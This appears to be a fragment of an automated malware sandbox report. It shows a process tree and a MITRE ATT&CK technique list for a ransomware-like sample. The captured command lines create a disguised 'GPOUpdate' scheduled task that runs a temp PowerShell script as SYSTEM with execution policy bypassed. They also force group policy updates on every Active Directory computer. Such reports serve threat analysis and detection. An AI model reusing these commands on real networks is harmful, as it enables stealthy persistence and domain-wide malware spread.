    - Command and Scripting Interpreter: PowerShell
    PID:2080
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /create /tn GPOUpdate_cwI1E2 /tr "powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\gpo_update_yMNZBb.ps1"" /sc hourly /mo 1 /ru SYSTEM /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" Get-ADComputer -filter * -Searchbase '%s' | Foreach-Object { Invoke- GPUpdate -computer $_.name -force -RandomDelayInMinutes 0}
    3⤵
    PID:3640

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1880

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:5024

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...